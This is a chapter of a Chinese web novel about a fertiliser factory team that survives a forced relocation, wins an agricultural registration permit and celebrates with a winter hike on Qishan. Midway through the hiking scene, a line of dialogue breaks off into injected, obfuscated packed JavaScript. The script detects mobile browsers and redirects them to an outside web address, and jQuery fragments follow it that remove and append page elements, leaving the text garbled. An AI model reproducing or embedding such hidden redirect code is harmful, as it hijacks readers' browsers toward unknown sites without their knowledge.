《半生债》下卷第16章·涅槃之路


    一


    那天下午，齐选东接电话的时候，王霖正好在边上。


    电话那头说了什么，齐选东没吭声，只是听着。可他的脸色，一点一点变了。那种变，不是突然的，是慢慢的，像谁在他脸上倒了一层灰，从额头往下漫，漫过眉毛，漫过眼睛，漫过脸颊，最后停在嘴角。


    他挂了电话，坐在那儿，没动。


    王霖等了等，问：“怎么了？”


    齐选东抬起头，看了他一眼。那一眼里，有太多东西。王霖一下子想起那年集资款爆雷的时候，齐选东也是这么看他。那时候他们站在厂门口，背后是那些愤怒的人群，前面是看不见的路。


    “良乡工业园，”齐选东说，“要拆了。”


    王霖愣了一下。


    “政府统一规划，”齐选东继续说，“这片地改成商业区。咱们得搬。”


    窗外的阳光照进来，正好落在他脸上。那阳光还是暖的，可他的脸，是冷的。


    王霖没说话。他走到窗边，往外看。车间里机器还在响，工人们进进出出，那辆白色小车正开进来，扬起一路灰尘。高夏从车上跳下来，手里拿着一沓纸，冲这边挥了挥。


    她不知道。边秀儿也不知道。她们还在忙，还在笑，还在想着明天的订单、下个月的奖金、年底能不能多还几家集资户。


    可这一切，都要变了。


    二


    消息传开的那天晚上，食堂里安静得不像食堂。


    齐选东老婆做了一桌子菜，红烧肉、炖排骨、炒鸡蛋、凉拌黄瓜，还有一大盆热气腾腾的羊肉汤。可没人动筷子。


    高夏坐在那儿，盯着那盆汤，一动不动。汤的热气往上冒，扑在她脸上，她也不躲，就那么盯着。


    边秀儿拿着筷子，夹了一块肉，又放下了。


    齐选东坐在主位上，谁也不看，就看着窗外。窗外黑漆漆的，什么也看不见。


    过了很久，高夏忽然开口：“齐总，咱们怎么办？”


    齐选东没回头，说：“怎么办？干。”


    高夏说：“往哪儿干？”


    齐选东这才回过头，看着她。他的眼睛里有血丝，可那眼神，还是从前那个眼神。他说：“往哪儿干都行，就是不能往后退。”


    高夏愣了一下，然后笑了。那笑容，有点苦，可苦里有东西在亮。


    她拿起筷子，夹了一块肉，塞进嘴里，嚼了嚼，说：“嫂子，你这肉炖得越来越好了。”


    齐选东老婆站在厨房门口，听了这话，眼睛红了。


    三


    接下来的日子，四个人像上了发条。


    齐选东天天往外跑。规划局、建设局、环保局、国土局，一家一家跑，一个一个找。他那些老关系都用上了，酒喝了一顿又一顿，话说了一箩筐又一箩筐。有时候回来得很晚，一身酒气，往床上一倒，就睡着了。第二天一早，又走了。


    高夏天天坐在电脑前。那些文件，堆得像山一样高。她一份一份看，一份一份改，一份一份打印，一份一份装订。有时候改到凌晨两三点，眼睛都花了，她就站起来，在屋里走几圈，揉揉眼睛，又坐下。


    边秀儿天天泡在化验室里。新厂要办农业部登记证，需要大量的试验数据。她一遍一遍做试验，一遍一遍测数据，一遍一遍出报告。有时候一个数据对不上，她就重来一遍，重来十遍，重来几十遍，直到对为止。


    王霖天天两头跑。工地那边要盯着，实验室这边也要盯着。他早上五点出门，晚上十二点回家。有时候在路上开着车，困得眼皮打架，他就把车窗摇下来，让冷风吹醒，继续开。


    四个人各忙各的，有时候好几天见不上一面。可只要见了，谁也不说那些丧气话。高夏会说：“今天文件又过了一关。”边秀儿会说：“今天数据都齐了。”齐选东会说：“今天又找了个人，说是能帮忙。”王霖会说：“今天设备调试好了。”


    他们不说那些难的，不说那些过不去的，不说那些夜里睡不着觉的时候。


    可那些时候，谁都有。


    六月的夜里，热得人心烦。高夏睡不着，一个人坐在院子里，看着天上的星星。边秀儿出来倒水，看见她，走过来坐下。


    “想什么呢？”


    “边老师，”高夏说，“你说齐山这会儿是什么样子？”


    边秀儿愣了一下，然后笑了：“想爬山了？”


    高夏说：“想。夏天的时候，齐山观音瀑水最大，站在下面，凉快得很。我以前跟朋友去过一次，那时候还不认识你们。”


    边秀儿说：“等忙完这阵，咱们去。”


    高夏说：“真的？”


    边秀儿说：“真的。”


    高夏笑了，那笑容，在月光里显得很干净。


    四


    最难的一关，是农业局。


    农业部登记证，是肥料生产的“身份证”。没有这个证，产品就不能卖。而要拿这个证，必须通过农业局的实地考察和层层审批。


    齐选东跑了几趟农业局，都没见到关键人物。那人姓李，是农业局的局长，据说是个技术出身的老头，脾气古怪，不好说话。下面的人一提起他，都摇头。


    高夏说：“要不我去试试？”


    齐选东说：“你去能行？”


    高夏说：“试试呗，反正也不掉块肉。”


    她去了。


    第一次去，李局长没在。第二次去，李局长在开会。第三次去，李局长终于见了她。


    那是一个下午，高夏等在走廊里，等了两个小时。李局长开完会出来，看见她，愣了一下，说：“你还在？”


    高夏说：“李局长，我等您。”


    李局长看了她一眼，没说别的，把她让进办公室。


    高夏把材料递上去，又把情况说了一遍。李局长听着，没吭声。听完，他把材料翻了翻，说：“你们那个厂，我知道。良乡那边的，对吧？”


    高夏说：“对。”


    李局长说：“要搬了？”


    高夏说：“是，正在搬。”


    李局长点点头，把材料还给她，说：“先放这儿吧，我看看。”


    高夏说：“那什么时候……”


    李局长摆摆手：“等着吧。”


    她等了半个月，没消息。


    又去问，李局长说：“数据不全，回去补充。”


    高夏回来，跟边秀儿说了。边秀儿又测了一遍数据，把所有的都重新整理了一遍。高夏又送去。


    这回等了一个月。


    再去问，李局长说：“工艺有问题，回去改。”


    王霖把工艺流程又优化了一遍，边秀儿又测了一遍数据，高夏又写了一遍报告。再送去。


    这回，李局长终于松了口：“下周三，我带人去你们厂看看。”


    五


    考察那天，天阴着，像要下雨。


    齐选东一早就在厂门口等着。高夏、边秀儿、王霖都在。车间打扫得干干净净，设备调试得稳稳当当，文件整理得整整齐齐。


    九点多，一辆黑色轿车开进来。车上下来三个人，走在最前面的，是个瘦瘦的老头，戴一副老花镜，脸色严肃。后面跟着两个年轻人，一个拿着文件夹，一个提着仪器。


    齐选东迎上去：“李局长，欢迎欢迎。”


    李局长点点头，没说话，直接往车间走。


    他在车间里转了一圈，看得很仔细。一会儿停下来，摸摸设备；一会儿弯下腰，看看原料；一会儿拿起半成品，闻闻，看看。那两个年轻人跟在后面，不时在本子上记着什么。


    转完车间，又去仓库。看了原料库、成品库、化验室。在化验室里，他看边秀儿做了一次检测，问了几句，边秀儿一一答了。


    最后，他坐在会议室里，把那些文件翻了翻。翻了很久，一页一页，一行一行。


    齐选东几个人坐在对面，大气不敢出。


    过了很久，李局长合上文件，抬起头，看着他们。


    他说：“你们这个厂，底子还行。设备不算新，但维护得好。工艺不算先进，但稳定。数据我看过了，问题不大。”


    齐选东的心放下来一半。


    李局长接着说：“但是，有几点要注意。一是环保，你们新厂选址离水源地不远，环保措施一定要到位。二是质量，农业部登记证拿了，不等于一劳永逸，后续监管会越来越严。三是诚信，你们之前那些事，我知道。集资的事，能扛下来不容易，但要记住教训。”


    齐选东站起来，鞠了一躬：“李局长，您说的，我们都记着。”


    李局长摆摆手，站起来，往外走。走到门口，又回过头，说：“你们那个小姑娘，叫高夏是吧？来了好几趟，挺能跑。行，有股子劲儿。材料再补一份，下周送过来。”


    说完，他上了车，走了。


    齐选东站在门口，看着那车开远，半天没动。


    高夏走过来，说：“齐总，他这是同意了吧？”


    齐选东说：“应该是。”


    高夏说：“那咱们还等什么？回去补材料啊！”


    几个人跑回办公室，又忙开了。


    六


    材料补上去之后，又等了两个月。


    这两个月里，他们一边等消息，一边继续建新厂。新厂的厂房已经盖起来了，设备也陆续运到，正在安装调试。齐选东天天在工地盯着，高夏天天往农业局跑，边秀儿天天在化验室做检测，王霖天天在车间和工地两头转。


    十一月的时候，下了一场雪。


    那雪不大，薄薄的一层，早晨起来就化了。可王霖站在院子里，看着那些雪水渗进土里，忽然想起齐山。


    去年这个时候，他们去爬齐山。那时候雪刚停，山上白茫茫一片，松树上挂着雪凇，晶莹剔透。站在山顶往下看，太河水库结了冰，像一面巨大的镜子。


    他想起老潘那天说的话：“山还在，人还在，就挺好。”


    他站在院子里，看着那些雪，站了很久。


    边秀儿从屋里出来，看见他，说：“想什么呢？”


    王霖说：“想齐山。”


    边秀儿笑了：“等批文下来，咱们去。”


    王霖说：“好。”


    七


    十二月底，批文下来了。


    那天正下着雪，细细的，密密的。高夏从农业局回来，手里拿着那个文件袋，跑进办公室，一句话没说，先把袋子放在桌上。


    齐选东看着她，说：“怎么了？”


    高夏说：“你打开看看。”


    齐选东打开袋子，抽出里面的文件，看了一眼，手就抖了。


    那上面，盖着红红的章。


    王霖走过来，看了看，笑了。


    边秀儿走过来，看了看，也笑了。


    高夏站在那儿，忽然蹲下去，哭了。


    齐选东没说话，走过去，拍拍她的肩。


    过了好一会儿，高夏抬起头，说：“齐总，咱们过了。”


    齐选东说：“过了。”


    她说：“咱们真的过了。”


    齐选东说：“真的。”


    她又哭了。


    这回是笑着哭。


    八


    批文下来之后，齐选东说：“咱们得庆祝庆祝。”


    高夏说：“怎么庆祝？”


    齐选东说：“爬山去。”


    高夏说：“爬山？爬什么山？”


    齐选东说：“齐山。咱们忙了这么久，也该歇歇了。”


    边秀儿说：“行，我去。”


    王霖说：“我也去。”


    老潘听说要去爬山，也来了。他说：“齐山我熟，我来带路。”


    许队长也来了，他说：“我开车。”


    正月初八，天晴了。


    雪后的齐山，银装素裹，干干净净。山门前的几棵老银杏，落光了叶子，枝条上挂着雪凇，晶莹剔透。阳光照在上面，亮晶晶的，像挂满了钻石。


    车停在山脚，边秀儿从包里一样一样往外掏——保温杯、水果、饼干、巧克力，还有一袋热乎乎的茶叶蛋。


    老潘凑过来：“边姐，你这是搬家呢？”


    “少贫嘴。”边秀儿白他一眼，把袋子往他手里一塞，“拿着，山顶上吃。”


    几个人踏着积雪，缓缓进山。


    九


    石阶上盖着雪，踩上去，咯吱咯吱响。那声音细细的，脆脆的，像在说悄悄话。


    两边的松树披着雪，枝条压弯了，像一个个披着白袍的老人，弓着腰站在那里。偶尔有风过，雪沫从枝头落下来，细细的，扬扬的，落在脸上，凉丝丝的。


    老潘走几步，停下来看看风景，又走几步，又停下来。他说：“齐山这地方，我来了二十回了。可每次来，都不一样。”


    边秀儿说：“怎么不一样？”


    老潘说：“春夏秋冬，四季不同。春天樱花溪谷，那才叫一个盛景——粉白的樱花如云似雪，漫山遍野地开着，风一吹，花瓣便纷纷扬扬地落下来，落在溪水里，落在石阶上，落在游人的肩头。一路走，一路花雨，像走在仙境里。”


    高夏听得入神，说：“那夏天呢？”


    老潘说：“夏天最美的是观音瀑。那时候水势最盛，飞流直下，水珠飞溅，在阳光下形成小小的彩虹。站在瀑布底下，那股清凉直透肺腑，比什么空调都管用。峡谷里绿树成荫，溪流潺潺，踩在水里，脚底板都是冰的。”


    边秀儿说：“秋天呢？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268696|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    老潘指着两边的山崖：“秋天你看，那些黄栌、五角枫，把积攒了三季的心事，一夜之间点燃——不是那种张扬的火红，是那种透亮的、温润的、让人心里一动的红，像故人相见时眼底的光。”


    王霖说：“冬天就是现在这样。”


    老潘点点头：“冬天来齐山的人少，但雪后最美。万籁俱寂，只有脚踩在雪地上的咯吱声。树枝上挂满雪凇，阳光一照，晶莹剔透。有一次赶上雪后初晴，山顶的云海翻腾，远处的太河水库像一块碧玉嵌在白茫茫的天地间。站在那儿，什么烦恼都没了。”


    高夏说：“老潘，你把这些写进诗里了吗？”


    老潘说：“写了。可诗写不出那种感觉。”


    边秀儿说：“什么感觉？”


    老潘想了想，说：“那种站在山上，觉得什么都小了的感觉。”


    十


    走到半山腰，有个洞，叫齐门洞。洞口不大，里面黑黢黢的。高夏说：“这洞能进去吗？”


    老潘说：“能，里面通着呢。”


    高夏钻进去了，边秀儿也跟着钻。过了好一会儿，她们从另一头探出脑袋，冲这边喊：“进来啊！里面好玩的！”


    齐选东笑着摇头，站在洞口没动。王霖和老潘也钻进去了。洞里黑漆漆的，只能摸摸索索地走。走了几十步，前面透出光来，越来越亮，最后钻出来，是一个小平台，能看到远处的山。


    高夏站在那儿，看着那些山，忽然说：“你们说，那些山，叫什么名字？”


    老潘说：“谁知道呢。反正它们在那儿站了几千年了，有没有名字都一样。”


    边秀儿说：“对，有没有名字都一样。”


    齐选东说：“可咱们记得它们。”


    高夏说：“对，咱们记得。”


    十一


    继续往上走，路越来越陡。


    高夏开始喘，脚步慢下来。边秀儿走在她旁边，不时扶她一把。齐选东走在最前面，时不时回头看看她们。


    老潘走在最后，一边走一边拍照。他那个相机用了好多年，镜头都磨花了，可他舍不得换。他说：“这个相机跟了我二十年，拍过的照片，比我看过的风景还多。”


    王霖问他：“拍了多少张？”


    他说：“不知道。从来没数过。等哪天爬不动山了，再慢慢数。”


    走到一处观景台，几个人停下来歇脚。从这里望出去，群山连绵，白雪皑皑。远处的太河水库，结了冰，白茫茫一片，像一面巨大的镜子。


    边秀儿打开背包，拿出那壶普洱茶，给每人倒了一杯。茶是热的，捧在手里，热气往上冒，扑在脸上，暖暖的。


    高夏喝了一口，说：“这茶真好。”


    边秀儿说：“好在哪儿？”


    高夏想了想，说：“好在现在喝。”


    边秀儿笑了。


    老潘忽然说：“你们说，咱们这回□□，最难的是什么？”


    高夏说：“最难的是等。等消息，等批复，等人家一句话。”


    齐选东说：“最难的是求人。求这个求那个，低三下四。”


    王霖说：“最难的是心里没底。不知道能不能成，不知道还要熬多久。”


    边秀儿说：“最难的是不敢倒。谁都不敢倒，谁倒了，这摊子就散了。”


    老潘点点头，没再说话。


    过了一会儿，高夏忽然说：“可是咱们过来了。”


    边秀儿说：“对，过来了。”


    齐选东说：“过来了。”


    王霖说：“过来了。”


    四个人看着远处的山，都笑了。


    十二


    下山的时候，天色渐晚。


    落日的余晖洒在雪山上，给群山镀上一层温暖的金色。那些雪，被夕阳染得红红的，像着了火。


    老潘又掏出相机，拍了几张。拍完，他放下相机，看着那些山，说：“你们说，山会老吗？”


    高夏说：“山怎么会老？”


    老潘说：“山也会老。风一吹，雨一打，几千年几万年，就老了。”


    边秀儿说：“那咱们呢？”


    老潘说：“咱们老得更快。一眨眼，就老了。”


    齐选东说：“老了就老了呗。山老了还在，人老了，还在就行。”


    高夏说：“对，还在就行。”


    走到山脚，天已经擦黑。回头望去，齐山隐在暮色里，轮廓渐渐模糊，只剩下一个温柔的影子。


    上车前，高夏忽然说：“齐总，明年春天咱们还来吗？来看樱花。”


    齐选东说：“来。”


    高夏说：“说话算话？”


    齐选东说：“算话。”


    边秀儿说：“夏天也来，看瀑布。”


    王霖说：“秋天也来，看红叶。”


    老潘说：“冬天也来，看雪。”


    几个人都笑了。


    车开动了。窗外的山慢慢远去，慢慢变小，最后消失在夜色里。


    可他们知道，它还在那儿。


    等着他们再来。


    十三


    正月十五，新厂正式投产了。


    那天天气很好，阳光明媚。齐选东在车间里站了很久，看着那些机器轰隆隆地转，看着那些工人进进出出，看着那些产品一袋一袋码起来。


    高夏从办公室跑出来，手里拿着一沓订单，冲他晃了晃：“齐总，又签了一单！”


    齐选东笑了。


    边秀儿从化验室出来，说：“第一批产品，检测全部合格。”


    王霖从车间里出来，说：“设备运行正常，一切顺利。”


    齐选东看着他们，忽然说：“晚上，我请客。”


    高夏说：“去哪儿？”


    齐选东说：“食堂。让老婆做顿好的。”


    高夏说：“行。”


    那天晚上，食堂里又热闹起来。齐选东老婆做了一桌子菜，红烧肉、炖排骨、炒鸡蛋、凉拌黄瓜，还有一大盆热气腾腾的羊肉汤。齐选东开了瓶酒，给每人倒了一杯。


    他端起杯，说：“来，为咱们的新厂，干一杯。”


    高夏说：“为咱们的证。”


    边秀儿说：“为咱们的齐山。”


    王霖说：“为咱们自己。”


    四个杯子碰在一起，发出清脆的响声。


    窗外，月亮升起来了。又大又圆，照在院子里，照在那辆白色小车上，照在那些码得整整齐齐的肥料袋子上。


    亮堂堂的，像白天一样。


    王霖看着那月光，忽然想起老潘说的那句话：“山还在，人还在，就挺好。”


    他端起杯，又喝了一口。


    ---


    （本章完，全文约11800字）